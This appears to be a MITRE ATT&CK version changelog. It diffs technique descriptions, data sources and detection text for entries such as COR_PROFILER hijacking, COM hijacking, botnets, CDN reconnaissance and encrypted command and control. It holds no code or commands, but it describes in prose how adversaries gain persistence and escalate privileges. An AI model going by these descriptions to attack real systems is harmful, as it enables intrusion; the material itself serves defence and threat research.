| > | freely distributed, and one private. Due to how the keys ar | > | freely distributed, and one private. Due to how the keys ar | ||
| > | e generated, the sender encrypts data with the receiver’s pu | > | e generated, the sender encrypts data with the receiver’s pu | ||
| > | blic key and the receiver decrypts the data with their priva | > | blic key and the receiver decrypts the data with their priva | ||
| > | te key. This ensures that only the intended recipient can re | > | te key. This ensures that only the intended recipient can re | ||
| > | ad the encrypted data. Common public key encryption algorith | > | ad the encrypted data. Common public key encryption algorith | ||
| > | ms include RSA and ElGamal. For efficiency, may protocols ( | > | ms include RSA and ElGamal. For efficiency, many protocols | ||
| > | including SSL/TLS) use symmetric cryptography once a connect | > | (including SSL/TLS) use symmetric cryptography once a connec | ||
| > | ion is established, but use asymmetric cryptography to estab | > | tion is established, but use asymmetric cryptography to esta | ||
| > | lish or transmit a key. As such, these protocols are classif | > | blish or transmit a key. As such, these protocols are classi | ||
| > | ied as [Asymmetric Cryptography](https://attack.mitre.org/te | > | fied as [Asymmetric Cryptography](https://attack.mitre.org/t | ||
| > | chniques/T1573/002). | > | echniques/T1573/002). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 00:37:16.593000+00:00 | 2021-04-20 19:27:46.484000+00:00 |
| description | Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, may protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002). | Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002). |
| x_mitre_data_sources[0] | Process monitoring | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | Malware reverse engineering | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Packet capture |
Current version: 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['ExtraHop'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 02:24:54.881000+00:00 | 2021-08-16 15:23:38.940000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Script: Script Execution |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Connection Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | File: File Access |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Kernel: Kernel Module Load', 'Driver: Driver Load', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 16:05:36.772000+00:00 | 2021-10-19 04:03:47.056000+00:00 |
Current version: 2.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-03 16:47:37.240000+00:00 | 2021-04-27 19:58:02.332000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Active Directory: Active Directory Object Modification | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise num | t | 1 | Adversaries may compromise numerous third-party systems to f |
| > | erous third-party systems to form a botnet that can be used | > | orm a botnet that can be used during targeting. A botnet is | ||
| > | during targeting. A botnet is a network of compromised syste | > | a network of compromised systems that can be instructed to p | ||
| > | ms that can be instructed to perform coordinated tasks.(Cita | > | erform coordinated tasks.(Citation: Norton Botnet) Instead o | ||
| > | tion: Norton Botnet) Instead of purchasing/renting a botnet | > | f purchasing/renting a botnet from a booter/stresser service | ||
| > | from a booter/stressor service(Citation: Imperva DDoS for Hi | > | (Citation: Imperva DDoS for Hire), adversaries may build the | ||
| > | re), adversaries may build their own botnet by compromising | > | ir own botnet by compromising numerous third-party systems. | ||
| > | numerous third-party systems. Adversaries may also conduct a | > | Adversaries may also conduct a takeover of an existing botne | ||
| > | takeover of an existing botnet, such as redirecting bots to | > | t, such as redirecting bots to adversary-controlled C2 serve | ||
| > | adversary-controlled C2 servers.(Citation: Dell Dridex Oct | > | rs.(Citation: Dell Dridex Oct 2015) With a botnet at their d | ||
| > | 2015) With a botnet at their disposal, adversaries may perfo | > | isposal, adversaries may perform follow-on activity such as | ||
| > | rm follow-on activity such as large-scale [Phishing](https:/ | > | large-scale [Phishing](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1566) or Distributed Denial of | > | 1566) or Distributed Denial of Service (DDoS). | ||
| > | Service (DDoS). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:03:23.751000+00:00 | 2021-04-15 03:01:00.271000+00:00 |
| description | Before compromising a victim, adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stressor service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). | Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, lease, or | t | 1 | Adversaries may buy, lease, or rent a network of compromised |
| > | rent a network of compromised systems that can be used duri | > | systems that can be used during targeting. A botnet is a ne | ||
| > | ng targeting. A botnet is a network of compromised systems t | > | twork of compromised systems that can be instructed to perfo | ||
| > | hat can be instructed to perform coordinated tasks.(Citation | > | rm coordinated tasks.(Citation: Norton Botnet) Adversaries m | ||
| > | : Norton Botnet) Adversaries may purchase a subscription to | > | ay purchase a subscription to use an existing botnet from a | ||
| > | use an existing botnet from a booter/stressor service. With | > | booter/stresser service. With a botnet at their disposal, ad | ||
| > | a botnet at their disposal, adversaries may perform follow-o | > | versaries may perform follow-on activity such as large-scale | ||
| > | n activity such as large-scale [Phishing](https://attack.mit | > | [Phishing](https://attack.mitre.org/techniques/T1566) or Di | ||
| > | re.org/techniques/T1566) or Distributed Denial of Service (D | > | stributed Denial of Service (DDoS).(Citation: Imperva DDoS f | ||
| > | DoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna) | > | or Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citat | ||
| > | (Citation: Krebs-Bazaar)(Citation: Krebs-Booter) | > | ion: Krebs-Booter) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 02:15:01.325000+00:00 | 2021-04-15 02:49:14.664000+00:00 |
| description | Before compromising a victim, adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stressor service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) | Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's busine |
| > | tion about the victim's business relationships that can be u | > | ss relationships that can be used during targeting. Informat | ||
| > | sed during targeting. Information about an organization’s bu | > | ion about an organization’s business relationships may inclu | ||
| > | siness relationships may include a variety of details, inclu | > | de a variety of details, including second or third-party org | ||
| > | ding second or third-party organizations/domains (ex: manage | > | anizations/domains (ex: managed service providers, contracto | ||
| > | d service providers, contractors, etc.) that have connected | > | rs, etc.) that have connected (and potentially elevated) net | ||
| > | (and potentially elevated) network access. This information | > | work access. This information may also reveal supply chains | ||
| > | may also reveal supply chains and shipment paths for the vic | > | and shipment paths for the victim’s hardware and software re | ||
| > | tim’s hardware and software resources. Adversaries may gath | > | sources. Adversaries may gather this information in various | ||
| > | er this information in various ways, such as direct elicitat | > | ways, such as direct elicitation via [Phishing for Informat | ||
| > | ion via [Phishing for Information](https://attack.mitre.org/ | > | ion](https://attack.mitre.org/techniques/T1598). Information | ||
| > | techniques/T1598). Information about business relationships | > | about business relationships may also be exposed to adversa | ||
| > | may also be exposed to adversaries via online or other acces | > | ries via online or other accessible data sets (ex: [Social M | ||
| > | sible data sets (ex: [Social Media](https://attack.mitre.org | > | edia](https://attack.mitre.org/techniques/T1593/001) or [Sea | ||
| > | /techniques/T1593/001) or [Search Victim-Owned Websites](htt | > | rch Victim-Owned Websites](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1594)).(Citation: ThreatPo | > | es/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering | ||
| > | st Broadvoice Leak) Gathering this information may reveal op | > | this information may reveal opportunities for other forms of | ||
| > | portunities for other forms of reconnaissance (ex: [Phishing | > | reconnaissance (ex: [Phishing for Information](https://atta | ||
| > | for Information](https://attack.mitre.org/techniques/T1598) | > | ck.mitre.org/techniques/T1598) or [Search Open Websites/Doma | ||
| > | or [Search Open Websites/Domains](https://attack.mitre.org/ | > | ins](https://attack.mitre.org/techniques/T1593)), establishi | ||
| > | techniques/T1593)), establishing operational resources (ex: | > | ng operational resources (ex: [Establish Accounts](https://a | ||
| > | [Establish Accounts](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1585) or [Compromise Accounts](h | ||
| > | 85) or [Compromise Accounts](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1586)), and/or initial a | ||
| > | ques/T1586)), and/or initial access (ex: [Supply Chain Compr | > | ccess (ex: [Supply Chain Compromise](https://attack.mitre.or | ||
| > | omise](https://attack.mitre.org/techniques/T1195), [Drive-by | > | g/techniques/T1195), [Drive-by Compromise](https://attack.mi | ||
| > | Compromise](https://attack.mitre.org/techniques/T1189), or | > | tre.org/techniques/T1189), or [Trusted Relationship](https:/ | ||
| > | [Trusted Relationship](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1199)). | ||
| > | 1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:08:59.209000+00:00 | 2021-04-15 03:36:58.964000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search content | t | 1 | Adversaries may search content delivery network (CDN) data a |
| > | delivery network (CDN) data about victims that can be used | > | bout victims that can be used during targeting. CDNs allow a | ||
| > | during targeting. CDNs allow an organization to host content | > | n organization to host content from a distributed, load bala | ||
| > | from a distributed, load balanced array of servers. CDNs ma | > | nced array of servers. CDNs may also allow organizations to | ||
| > | y also allow organizations to customize content delivery bas | > | customize content delivery based on the requestor’s geograph | ||
| > | ed on the requestor’s geographical region. Adversaries may | > | ical region. Adversaries may search CDN data to gather acti | ||
| > | search CDN data to gather actionable information. Threat act | > | onable information. Threat actors can use online resources a | ||
| > | ors can use online resources and lookup tools to harvest inf | > | nd lookup tools to harvest information about content servers | ||
| > | ormation about content servers within a CDN. Adversaries may | > | within a CDN. Adversaries may also seek and target CDN misc | ||
| > | also seek and target CDN misconfigurations that leak sensit | > | onfigurations that leak sensitive information not intended t | ||
| > | ive information not intended to be hosted and/or do not have | > | o be hosted and/or do not have the same protection mechanism | ||
| > | the same protection mechanisms (ex: login portals) as the c | > | s (ex: login portals) as the content hosted on the organizat | ||
| > | ontent hosted on the organization’s website.(Citation: Digit | > | ion’s website.(Citation: DigitalShadows CDN) Information fro | ||
| > | alShadows CDN) Information from these sources may reveal opp | > | m these sources may reveal opportunities for other forms of | ||
| > | ortunities for other forms of reconnaissance (ex: [Active Sc | > | reconnaissance (ex: [Active Scanning](https://attack.mitre.o | ||
| > | anning](https://attack.mitre.org/techniques/T1595) or [Searc | > | rg/techniques/T1595) or [Search Open Websites/Domains](https | ||
| > | h Open Websites/Domains](https://attack.mitre.org/techniques | > | ://attack.mitre.org/techniques/T1593)), establishing operati | ||
| > | /T1593)), establishing operational resources (ex: [Acquire I | > | onal resources (ex: [Acquire Infrastructure](https://attack. | ||
| > | nfrastructure](https://attack.mitre.org/techniques/T1583) or | > | mitre.org/techniques/T1583) or [Compromise Infrastructure](h | ||
| > | [Compromise Infrastructure](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1584)), and/or initial a | ||
| > | ques/T1584)), and/or initial access (ex: [Drive-by Compromis | > | ccess (ex: [Drive-by Compromise](https://attack.mitre.org/te | ||
| > | e](https://attack.mitre.org/techniques/T1189)). | > | chniques/T1189)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:17:09.684000+00:00 | 2021-04-15 03:47:55.905000+00:00 |
| description | Before compromising a victim, adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). | Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage the COR_PROFILER environment variab | t | 1 | Adversaries may leverage the COR_PROFILER environment variab |
| > | le to hijack the execution flow of programs that load the .N | > | le to hijack the execution flow of programs that load the .N | ||
| > | ET CLR. The COR_PROFILER is a .NET Framework feature which a | > | ET CLR. The COR_PROFILER is a .NET Framework feature which a | ||
| > | llows developers to specify an unmanaged (or external of .NE | > | llows developers to specify an unmanaged (or external of .NE | ||
| > | T) profiling DLL to be loaded into each .NET process that lo | > | T) profiling DLL to be loaded into each .NET process that lo | ||
| > | ads the Common Language Runtime (CLR). These profiliers are | > | ads the Common Language Runtime (CLR). These profilers are d | ||
| > | designed to monitor, troubleshoot, and debug managed code ex | > | esigned to monitor, troubleshoot, and debug managed code exe | ||
| > | ecuted by the .NET CLR.(Citation: Microsoft Profiling Mar 20 | > | cuted by the .NET CLR.(Citation: Microsoft Profiling Mar 201 | ||
| > | 17)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROF | > | 7)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFI | ||
| > | ILER environment variable can be set at various scopes (syst | > | LER environment variable can be set at various scopes (syste | ||
| > | em, user, or process) resulting in different levels of influ | > | m, user, or process) resulting in different levels of influe | ||
| > | ence. System and user-wide environment variable scopes are s | > | nce. System and user-wide environment variable scopes are sp | ||
| > | pecified in the Registry, where a [Component Object Model](h | > | ecified in the Registry, where a [Component Object Model](ht | ||
| > | ttps://attack.mitre.org/techniques/T1559/001) (COM) object c | > | tps://attack.mitre.org/techniques/T1559/001) (COM) object ca | ||
| > | an be registered as a profiler DLL. A process scope COR_PROF | > | n be registered as a profiler DLL. A process scope COR_PROFI | ||
| > | ILER can also be created in-memory without modifying the Reg | > | LER can also be created in-memory without modifying the Regi | ||
| > | istry. Starting with .NET Framework 4, the profiling DLL doe | > | stry. Starting with .NET Framework 4, the profiling DLL does | ||
| > | s not need to be registered as long as the location of the D | > | not need to be registered as long as the location of the DL | ||
| > | LL is specified in the COR_PROFILER_PATH environment variabl | > | L is specified in the COR_PROFILER_PATH environment variable | ||
| > | e.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries m | > | .(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries ma | ||
| > | ay abuse COR_PROFILER to establish persistence that executes | > | y abuse COR_PROFILER to establish persistence that executes | ||
| > | a malicious DLL in the context of all .NET processes every | > | a malicious DLL in the context of all .NET processes every t | ||
| > | time the CLR is invoked. The COR_PROFILER can also be used t | > | ime the CLR is invoked. The COR_PROFILER can also be used to | ||
| > | o elevate privileges (ex: [Bypass User Account Control](http | > | elevate privileges (ex: [Bypass User Account Control](https | ||
| > | s://attack.mitre.org/techniques/T1548/002)) if the victim .N | > | ://attack.mitre.org/techniques/T1548/002)) if the victim .NE | ||
| > | ET process executes at a higher permission level, as well as | > | T process executes at a higher permission level, as well as | ||
| > | to hook and [Impair Defenses](https://attack.mitre.org/tech | > | to hook and [Impair Defenses](https://attack.mitre.org/techn | ||
| > | niques/T1562) provided by .NET processes.(Citation: RedCanar | > | iques/T1562) provided by .NET processes.(Citation: RedCanary | ||
| > | y Mockingbird May 2020)(Citation: Red Canary COR_PROFILER Ma | > | Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May | ||
| > | y 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: Gi | > | 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: Git | ||
| > | tHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers Ma | > | Hub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May | ||
| > | y 2017) | > | 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-26 16:09:58.920000+00:00 | 2021-08-30 21:35:12.049000+00:00 |
| description | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017) | Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017) |
| x_mitre_data_sources[0] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[3] | Process command-line parameters | Command: Command Execution |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 13:55:51.172000+00:00 | 2020-11-10 18:19:44.750000+00:00 |
| external_references[3]['source_name'] | Endgame COM Hijacking | Elastic COM Hijacking |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Loaded DLLs | Command: Command Execution |
| x_mitre_data_sources[3] | DLL monitoring | Module: Module Load |
| x_mitre_detection | There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. | There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 14:49:58.249000+00:00 | 2021-10-19 03:18:43.648000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | File: File Modification |
| x_mitre_data_sources[1] | Binary file metadata | File: File Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Deletion | |
| x_mitre_data_sources | File: File Metadata |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:42:09.222000+00:00 | 2021-06-08 17:08:08.386000+00:00 |
| x_mitre_data_sources[0] | Third-party application logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Authentication logs | Application Log: Application Log Content |
| x_mitre_detection | Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. | Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to 